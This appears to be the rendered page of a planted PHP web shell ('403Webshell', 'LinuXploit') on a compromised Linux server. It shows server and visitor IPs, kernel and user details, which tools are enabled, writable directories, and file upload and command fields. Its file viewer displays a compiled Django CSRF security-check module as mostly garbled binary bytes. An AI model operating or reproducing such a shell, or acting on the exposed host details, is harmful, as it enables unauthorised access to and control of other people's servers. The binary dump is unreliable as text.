403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/core/checks/security/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/core/checks/security/__pycache__/csrf.cpython-311.pyc
�

�|�e���
�ddlZddlmZddlmZmZmZmZedd���Zedd	���Z	d
�Z
eejd���d
���Zeejd���d���Z
eej��d���ZdS)�N)�settings�)�Error�Tags�Warning�registeraYou don't appear to be using Django's built-in cross-site request forgery protection via the middleware ('django.middleware.csrf.CsrfViewMiddleware' is not in your MIDDLEWARE). Enabling the middleware is the safest approach to ensure you don't leave any holes.z
security.W003��idz�You have 'django.middleware.csrf.CsrfViewMiddleware' in your MIDDLEWARE, but you have not set CSRF_COOKIE_SECURE to True. Using a secure-only CSRF cookie makes it more difficult for network traffic sniffers to steal the CSRF token.z
security.W016c��dtjvS)Nz)django.middleware.csrf.CsrfViewMiddleware)r�
MIDDLEWARE���B/usr/lib/python3/dist-packages/django/core/checks/security/csrf.py�_csrf_middlewarers��6�(�:M�M�MrT)�deployc�6�t��}|rgntgS�N)r�W003��app_configs�kwargs�passed_checks   r�check_csrf_middlewarers��#�%�%�L��)�2�2�D�6�)rc�h�tjpt��ptj}|rgntgSr)r�CSRF_USE_SESSIONSr�CSRF_COOKIE_SECURE�W016rs   r�check_csrf_cookie_securer#s>��	�"�	$�����	$��#��
�)�2�2�D�6�)rc��ddlm}g}	|��}	tj|���dd���n�#t
$r6dtjz}|�t|d�����YnGwxYw#t$r6dtjz}|�t|d�����YnwxYw|S)	Nr)�_get_failure_view)�reasonzIThe CSRF failure view '%s' does not take the correct number of arguments.z
security.E101r	z1The CSRF failure view '%s' could not be imported.z
security.E102)�django.middleware.csrfr �inspect�	signature�bind�	TypeErrorr�CSRF_FAILURE_VIEW�appendr�ImportError)rrr �errors�view�msgs      r�check_csrf_failure_viewr--s��8�8�8�8�8�8�
�F�:� � �"�"��	:���d�#�#�(�(��d�(�;�;�;�;���	:�	:�	:�[��*�+�
�
�M�M�%���8�8�8�9�9�9�9�9�	:������6�6�6�?��&�
'�	�	�
�
�e�C�O�4�4�4�5�5�5�5�5�6�����Ms �
B�)?�=A?�>A?�=C�C)r#�django.confr�rrrrrrr�securityrrr-r
rr�<module>r1s$������ � � � � � �-�-�-�-�-�-�-�-�-�-�-�-��w�+�
�
�����w�0������N�N�N�
��$�-��%�%�%�*�*�&�%�*�

��$�-��%�%�%�*�*�&�%�*�
��$�-���������r

Youez - 2016 - github.com/yon3zu
LinuXploit